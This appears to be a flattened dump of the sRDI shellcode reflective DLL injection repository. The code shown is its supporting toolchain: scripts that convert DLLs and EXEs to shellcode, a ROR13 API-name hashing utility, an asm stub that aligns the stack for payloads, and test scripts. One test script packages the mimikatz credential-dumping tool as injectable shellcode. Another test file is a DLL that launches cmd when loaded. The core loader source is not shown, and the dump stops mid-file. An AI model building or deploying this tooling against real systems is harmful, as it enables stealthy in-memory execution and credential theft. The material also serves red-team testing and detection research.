├── ShellcodeRDI
├── function_link_order.txt
├── function_link_order64.txt
├── 64BitHelper.h
├── ShellcodeRDI.vcxproj.filters
├── AdjustStack.asm
├── GetProcAddressWithHash.h
└── ShellcodeRDI.c
├── TestDLL
├── Resource.rc
├── TestDLL.cpp
├── stdafx.cpp
├── targetver.h
├── resource.h
├── stdafx.h
├── dllmain.cpp
├── TestDLL.vcxproj.filters
├── ReadMe.txt
└── TestDLL.vcxproj
├── Tests
├── ConvertCalc.bat
├── ConvertCmdExe.cmd
├── ConvertHex2bin.cmd
├── ConvertNotepad.cmd
├── Executables
│ ├── cmd.exe
│ ├── calc.exe
│ ├── hex2bin.exe
│ ├── notepad.exe
│ ├── cmd-dll_v0_0_1
│ │ ├── cmd.dll
│ │ ├── main.c
│ │ └── cmd.rbuild
│ └── mimikatz_trunk
│ │ ├── Win32
│ │ ├── mimidrv.sys
│ │ ├── mimilib.dll
│ │ ├── mimilib.idb
│ │ ├── mimikatz.exe
│ │ ├── mimilove.exe
│ │ ├── mimilib.dll.bak
│ │ └── mimilib - Copy.dll
│ │ ├── mimicom.idl
│ │ ├── kiwi_passwords.yar
│ │ └── README.md
├── Shellcode
│ ├── Calc.bin
│ ├── CmdDll.bin
│ ├── CmdExe.bin
│ ├── Mimikatz.bin
│ ├── hex2bin.bin
│ └── notepad.bin
├── ConvertCmdDll.cmd
├── ConvertMimikatz.cmd
└── Convert.py
├── bin
└── .gitignore
├── DotNet
├── App.config
├── Properties
│ └── AssemblyInfo.cs
└── DotNet.csproj
├── FunctionTest
├── stdafx.cpp
├── targetver.h
├── stdafx.h
├── FunctionTest.cpp
├── FunctionTest.vcxproj.filters
└── FunctionTest.vcxproj
├── Native
├── stdafx.cpp
├── targetver.h
├── stdafx.h
├── Native.vcxproj.filters
├── Native.vcxproj
└── Loader.cpp
├── ShellcodeRDITest
├── stdafx.cpp
├── targetver.h
├── stdafx.h
├── ReadMe.txt
├── ShellcodeRDITest.cpp
└── ShellcodeRDITest.vcxproj
├── Python
├── ConvertToShellcode.py
├── EncodeBlobs.py
├── Python.pyproj
├── ShellcodeRDI.py
└── peutils.py
├── lib
├── PowerShell
│ ├── Out-Shellcode.ps1
│ ├── Get-FunctionHash.ps1
│ ├── Get-LibSymbols.ps1
│ └── Get-ObjDump.format.ps1xml
└── Python
│ └── FunctionToHash.py
├── README.md
├── ShellcodeRDI.sln
└── .gitignore
/ShellcodeRDI/function_link_order.txt:
--------------------------------------------------------------------------------
1 | ExecutePayload
2 | GetProcAddressWithHash
--------------------------------------------------------------------------------
/ShellcodeRDI/function_link_order64.txt:
--------------------------------------------------------------------------------
1 | Begin
2 | GetProcAddressWithHash
3 | ExecutePayload
--------------------------------------------------------------------------------
/TestDLL/Resource.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/TestDLL/Resource.rc
--------------------------------------------------------------------------------
/Tests/ConvertCalc.bat:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\calc.exe Shellcode\Calc.bin
2 | pause
--------------------------------------------------------------------------------
/Tests/ConvertCmdExe.cmd:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\cmd.exe Shellcode\CmdExe.bin
2 | pause
--------------------------------------------------------------------------------
/Tests/ConvertHex2bin.cmd:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\hex2bin.exe Shellcode\hex2bin.bin
2 | pause
--------------------------------------------------------------------------------
/Tests/ConvertNotepad.cmd:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\notepad.exe Shellcode\notepad.bin
2 | pause
--------------------------------------------------------------------------------
/bin/.gitignore:
--------------------------------------------------------------------------------
1 | # Ignore everything in this directory
2 | *
3 | # Except this file
4 | !.gitignore
--------------------------------------------------------------------------------
/Tests/Executables/cmd.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/cmd.exe
--------------------------------------------------------------------------------
/Tests/Shellcode/Calc.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/Calc.bin
--------------------------------------------------------------------------------
/Tests/ConvertCmdDll.cmd:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\cmd-dll_v0_0_1\cmd.dll Shellcode\CmdDll.bin
2 | pause
--------------------------------------------------------------------------------
/Tests/Executables/calc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/calc.exe
--------------------------------------------------------------------------------
/Tests/Shellcode/CmdDll.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/CmdDll.bin
--------------------------------------------------------------------------------
/Tests/Shellcode/CmdExe.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/CmdExe.bin
--------------------------------------------------------------------------------
/Tests/Shellcode/Mimikatz.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/Mimikatz.bin
--------------------------------------------------------------------------------
/Tests/Shellcode/hex2bin.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/hex2bin.bin
--------------------------------------------------------------------------------
/Tests/Shellcode/notepad.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Shellcode/notepad.bin
--------------------------------------------------------------------------------
/Tests/Executables/hex2bin.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/hex2bin.exe
--------------------------------------------------------------------------------
/Tests/Executables/notepad.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/notepad.exe
--------------------------------------------------------------------------------
/Tests/ConvertMimikatz.cmd:
--------------------------------------------------------------------------------
1 | python Convert.py Executables\mimikatz_trunk\Win32\mimikatz.exe Shellcode\Mimikatz.bin
2 | pause
3 |
--------------------------------------------------------------------------------
/Tests/Executables/cmd-dll_v0_0_1/cmd.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/cmd-dll_v0_0_1/cmd.dll
--------------------------------------------------------------------------------
/TestDLL/TestDLL.cpp:
--------------------------------------------------------------------------------
1 | // TestDLL.cpp : Defines the exported functions for the DLL application.
2 | //
3 |
4 | #include "stdafx.h"
5 |
6 |
7 |
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimidrv.sys:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimidrv.sys
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimilib.idb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.idb
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimikatz.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimikatz.exe
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimilove.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilove.exe
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll.bak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib.dll.bak
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/Win32/mimilib - Copy.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ohjeongwook/sRDI/HEAD/Tests/Executables/mimikatz_trunk/Win32/mimilib - Copy.dll
--------------------------------------------------------------------------------
/DotNet/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ShellcodeRDI/64BitHelper.h:
--------------------------------------------------------------------------------
1 | #if defined(_WIN64)
2 | extern VOID AlignRSP( VOID );
3 |
4 | VOID Begin( VOID )
5 | {
6 | // Call the ASM stub that will guarantee 16-byte stack alignment.
7 | // The stub will then call the ExecutePayload.
8 | AlignRSP();
9 | }
10 | #endif
--------------------------------------------------------------------------------
/TestDLL/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // TestDLL.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/FunctionTest/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // FunctionTest.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/Native/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // RDIShellcodeCLoader.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/Native/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // ShellcodeRDITest.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/TestDLL/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/FunctionTest/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/Native/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #include
11 | #include
12 |
13 |
14 |
15 | // TODO: reference additional headers your program requires here
16 |
--------------------------------------------------------------------------------
/FunctionTest/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #include
11 | #include
12 |
13 |
14 |
15 | // TODO: reference additional headers your program requires here
16 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #include
11 | #include
12 |
13 |
14 |
15 | // TODO: reference additional headers your program requires here
16 |
--------------------------------------------------------------------------------
/Tests/Convert.py:
--------------------------------------------------------------------------------
1 | import sys
2 | sys.path.append(r'..\Python')
3 | from ShellcodeRDI import *
4 |
5 | input_filename=sys.argv[1]
6 | output_filename=sys.argv[2]
7 |
8 | print('Reading', input_filename)
9 | dll=open(input_filename, 'rb').read()
10 | shellcode=ConvertToShellcode(dll)
11 |
12 | print('Writing', output_filename)
13 | fd=open(output_filename,'wb')
14 | fd.write(shellcode)
15 | fd.close()
16 |
--------------------------------------------------------------------------------
/TestDLL/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by Resource.rc
4 |
5 | // Next default values for new objects
6 | //
7 | #ifdef APSTUDIO_INVOKED
8 | #ifndef APSTUDIO_READONLY_SYMBOLS
9 | #define _APS_NEXT_RESOURCE_VALUE 101
10 | #define _APS_NEXT_COMMAND_VALUE 40001
11 | #define _APS_NEXT_CONTROL_VALUE 1001
12 | #define _APS_NEXT_SYMED_VALUE 101
13 | #endif
14 | #endif
15 |
--------------------------------------------------------------------------------
/TestDLL/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
11 | // Windows Header Files:
12 | #include
13 |
14 |
15 |
16 | // TODO: reference additional headers your program requires here
17 |
--------------------------------------------------------------------------------
/Tests/Executables/cmd-dll_v0_0_1/main.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | INT WINAPI
4 | DllMain(
5 | IN PVOID hInstanceDll,
6 | IN ULONG dwReason,
7 | IN PVOID reserved)
8 | {
9 | switch (dwReason)
10 | {
11 | case DLL_PROCESS_ATTACH:
12 | cmd_main(0, NULL);
13 | break;
14 |
15 | case DLL_THREAD_ATTACH:
16 | break;
17 |
18 | case DLL_THREAD_DETACH:
19 | break;
20 |
21 | case DLL_PROCESS_DETACH:
22 | break;
23 | }
24 |
25 | return TRUE;
26 | }
27 |
--------------------------------------------------------------------------------
/Python/ConvertToShellcode.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | from ShellcodeRDI import *
3 |
4 | __version__ = '1.0'
5 |
6 | def main():
7 | parser = argparse.ArgumentParser(description='RDI Shellcode Converter', conflict_handler='resolve')
8 | parser.add_argument('-v', '--version', action='version', version='%(prog)s Version: ' + __version__)
9 | parser.add_argument('input_dll', help='DLL to convert to shellcode')
10 | parser.add_argument('-f', '--function-name', dest='function_name', default='SayHello', help='The function to call after DllMain')
11 | arguments = parser.parse_args()
12 |
13 | input_dll = arguments.input_dll
14 | output_bin = input_dll.replace('.dll', '.bin')
15 |
16 | print('Creating Shellcode: {}'.format(output_bin))
17 | dll = open(arguments.input_dll, 'rb').read()
18 |
19 | converted_dll = ConvertToShellcode(dll, HashFunctionName(arguments.function_name))
20 | with open(output_bin, 'wb') as f:
21 | f.write(converted_dll)
22 |
23 | if __name__ == '__main__':
24 | main()
25 |
--------------------------------------------------------------------------------
/TestDLL/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "stdafx.h"
3 | #include
4 | #include
5 |
6 |
7 | HANDLE hSSThread;
8 | DWORD threadID;
9 |
10 | BOOL APIENTRY DllMain( HMODULE hModule,
11 | DWORD ul_reason_for_call,
12 | LPVOID lpReserved
13 | )
14 | {
15 | switch (ul_reason_for_call)
16 | {
17 | case DLL_PROCESS_ATTACH:
18 | MessageBoxA(NULL, "DLLMain!", "We've started.", 0);
19 | break;
20 | case DLL_THREAD_ATTACH:
21 | case DLL_THREAD_DETACH:
22 | case DLL_PROCESS_DETACH:
23 | break;
24 | }
25 | return TRUE;
26 | }
27 |
28 | //extern "C" to prevent C++ name mangling
29 | extern "C" __declspec(dllexport) BOOL SayGoodbye(LPVOID lpUserdata, DWORD nUserdataLen)
30 | {
31 | return MessageBoxA(NULL, "I'm Leaving!", "Goodbye", 0);
32 | }
33 |
34 | extern "C" __declspec(dllexport) BOOL SayHello(LPVOID lpUserdata, DWORD nUserdataLen)
35 | {
36 | return MessageBoxA(NULL, "I'm alive!", "Hello", 0);
37 | }
38 |
39 |
--------------------------------------------------------------------------------
/lib/PowerShell/Out-Shellcode.ps1:
--------------------------------------------------------------------------------
1 | Param (
2 | [Parameter(Position = 0, Mandatory = $True)]
3 | [String]
4 | $InputExe,
5 |
6 | [Parameter(Position = 1, Mandatory = $True)]
7 | [ValidateScript({ Test-Path $_ })]
8 | [String]
9 | $InputMapFile,
10 |
11 | [Parameter(Position = 2, Mandatory = $True)]
12 | [String]
13 | $OutputFile
14 | )
15 |
16 | # PowerShell v2
17 | if(!$PSScriptRoot){
18 | $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
19 | }
20 |
21 | . "$PSScriptRoot\Get-PEHeader.ps1"
22 |
23 | $PE = Get-PEHeader $InputExe -GetSectionData
24 | $TextSection = $PE.SectionHeaders | Where-Object { $_.Name -eq '.text' }
25 |
26 | $MapContents = Get-Content $InputMapFile
27 |
28 | $TextSectionInfo = @($MapContents | Where-Object { $_ -match '\.text.+CODE' })[0]
29 |
30 | $ShellcodeLength = [Int] "0x$(( $TextSectionInfo -split ' ' | Where-Object { $_ } )[1].TrimEnd('H'))" - 1
31 |
32 | Write-Host "Shellcode length: 0x$(($ShellcodeLength + 1).ToString('X4'))"
33 |
34 | [IO.File]::WriteAllBytes($OutputFile, $TextSection.RawData[0..$ShellcodeLength])
35 |
--------------------------------------------------------------------------------
/lib/Python/FunctionToHash.py:
--------------------------------------------------------------------------------
1 |
2 | import sys
3 |
4 | ror = lambda val, r_bits, max_bits: \
5 | ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
6 | (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
7 |
8 | if len(sys.argv) != 2 and len(sys.argv) != 3:
9 | print("\nUsage:\nFunctionToHash.py [Module] [Function]\nFunctionToHash.py kernel32.dll CreateProcessA\n\nOR\n\nFunctionToHash.py [Function]\nFunctionToHash.py ExportedFunction")
10 | exit()
11 |
12 | if len(sys.argv) == 3:
13 | module = sys.argv[1].upper().encode('UTF-16LE') + b'\x00\x00'
14 | function = sys.argv[2].encode() + b'\x00'
15 |
16 | functionHash = 0
17 |
18 | for b in function:
19 | functionHash = ror(functionHash, 13, 32)
20 | functionHash += b
21 |
22 | moduleHash = 0
23 |
24 | for b in module:
25 | moduleHash = ror(moduleHash, 13, 32)
26 | moduleHash += b
27 |
28 | functionHash += moduleHash
29 |
30 | if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
31 |
32 | else:
33 | function = sys.argv[1].encode() + b'\x00'
34 |
35 | functionHash = 0
36 |
37 | for b in function:
38 | functionHash = ror(functionHash, 13, 32)
39 | functionHash += b
40 |
41 |
42 | print(hex(functionHash))
43 |
--------------------------------------------------------------------------------
/ShellcodeRDI/ShellcodeRDI.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 |
26 |
27 | Source Files
28 |
29 |
30 |
31 |
32 | Source Files
33 |
34 |
35 |
--------------------------------------------------------------------------------
/Native/Native.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 |
--------------------------------------------------------------------------------
/TestDLL/TestDLL.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 |
--------------------------------------------------------------------------------
/DotNet/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("RDIShellcodeLoader")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("RDIShellcodeLoader")]
13 | [assembly: AssemblyCopyright("Copyright © 2015")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("fd50dee9-91ab-4449-ba55-27c71098076b")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/FunctionTest/FunctionTest.cpp:
--------------------------------------------------------------------------------
1 | // FunctionTest.cpp : Defines the entry point for the console application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include
6 | #include
7 |
8 | DWORD GetFileContents(LPCSTR filename, LPSTR *data, DWORD &size)
9 | {
10 | std::FILE *fp = std::fopen(filename, "rb");
11 |
12 | if (fp)
13 | {
14 | fseek(fp, 0, SEEK_END);
15 | size = ftell(fp);
16 | fseek(fp, 0, SEEK_SET);
17 |
18 | *data = (LPSTR)malloc(size + 1);
19 | fread(*data, size, 1, fp);
20 | fclose(fp);
21 | return true;
22 | }
23 | return false;
24 | }
25 |
26 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
27 |
28 | DWORD HashFunctionName(LPSTR name) {
29 | DWORD hash = 0;
30 |
31 | do
32 | {
33 | hash = ROTR32(hash, 13);
34 | hash += *name;
35 | name++;
36 | } while (*(name - 1) != 0);
37 |
38 | return hash;
39 | }
40 |
41 | extern "C" ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen);
42 |
43 | int main()
44 | {
45 | LPSTR buffer = NULL;
46 | DWORD bufferSize = 0;
47 |
48 | HMODULE test = LoadLibraryA("User32.dll"); // For MessageBox Testing
49 |
50 | #ifdef _WIN64
51 | LPCSTR fileName = "../bin/TestDLL_x64.dll";
52 | #else
53 | LPCSTR fileName = "../../bin/TestDLL_x86.dll";
54 | #endif
55 |
56 | DWORD result = GetFileContents(fileName, &buffer, bufferSize);
57 |
58 | if (!result || buffer == NULL) {
59 | printf("[!] Cannot read file.");
60 | return 1;
61 | }
62 |
63 | ExecutePayload((ULONG_PTR)buffer, HashFunctionName("SayHello"), NULL, 0);
64 |
65 | return 0;
66 | }
67 |
68 |
--------------------------------------------------------------------------------
/ShellcodeRDI/AdjustStack.asm:
--------------------------------------------------------------------------------
1 | ; Author: Matthew Graeber (@mattifestation)
2 | ; License: BSD 3-Clause
3 | ; Syntax: MASM
4 | ; Build Syntax: ml64 /c /Cx AdjustStack.asm
5 | ; Output: AdjustStack.obj
6 | ; Notes: I really wanted to avoid having this external dependency but I couldn't
7 | ; come up with any other way to guarantee 16-byte stack alignment in 64-bit
8 | ; shellcode written in C.
9 |
10 | EXTRN ExecutePayload:PROC
11 | PUBLIC AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
12 | ; to be called as an extern in our C code.
13 |
14 | _TEXT SEGMENT
15 |
16 | ; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
17 | ; to calling the entry point of the payload. This is necessary because 64-bit functions
18 | ; in Windows assume that they were called with 16-byte stack alignment. When amd64
19 | ; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
20 | ; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
21 | ; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
22 | ; alignment.
23 |
24 | AlignRSP PROC
25 | push rsi ; Preserve RSI since we're stomping on it
26 | mov rsi, rsp ; Save the value of RSP so it can be restored
27 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
28 | sub rsp, 020h ; Allocate homing space for ExecutePayload
29 | call ExecutePayload ; Call the entry point of the payload
30 | mov rsp, rsi ; Restore the original value of RSP
31 | pop rsi ; Restore RSI
32 | ret ; Return to caller
33 | AlignRSP ENDP
34 |
35 | _TEXT ENDS
36 |
37 | END
--------------------------------------------------------------------------------
/Python/EncodeBlobs.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import os
3 | import sys
4 |
5 | def main():
6 | parser = argparse.ArgumentParser(description='sRDI Blob Encoder', conflict_handler='resolve')
7 | parser.add_argument('bin_directory', help='Bin directory containing ShellcodeRDI_xXX.bin files')
8 | arguments = parser.parse_args()
9 |
10 | binFile32 = os.path.join(arguments.bin_directory, 'ShellcodeRDI_x86.bin')
11 | binFile64 = os.path.join(arguments.bin_directory, 'ShellcodeRDI_x64.bin')
12 |
13 | if not os.path.isfile(binFile32) or not os.path.isfile(binFile64):
14 | print("[!] ShellcodeRDI_x86.bin and ShellcodeRDI_x64.bin files weren't in the bin directory")
15 | return
16 |
17 | binData32 = open(binFile32, 'rb').read()
18 | binData64 = open(binFile64, 'rb').read()
19 |
20 | print('[+] \\x escaped strings:\n')
21 | print('rdiShellcode32 = "{}"\n'.format(
22 | ''.join('\\x{:02X}'.format(b) for b in binData32)
23 | ))
24 | print('rdiShellcode64 = "{}"\n'.format(
25 | ''.join('\\x{:02X}'.format(b) for b in binData64)
26 | ))
27 |
28 | print('\n\n[+] 0x escaped strings:\n')
29 | print('var rdiShellcode32 = new byte[] {{ {} }};\n'.format(
30 | ','.join('0x{:02X}'.format(b) for b in binData32)
31 | ))
32 | print('var rdiShellcode64 = new byte[] {{ {} }};\n'.format(
33 | ','.join('0x{:02X}'.format(b) for b in binData64)
34 | ))
35 |
36 | print('\n[+] Final Lengths:\n')
37 | print("rdiShellcode32 Length: {}".format(len(binData32)))
38 | print("rdiShellcode64 Lenght: {}".format(len(binData64)))
39 |
40 | print("")
41 |
42 | if __name__ == '__main__':
43 | main()
44 |
--------------------------------------------------------------------------------
/FunctionTest/FunctionTest.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
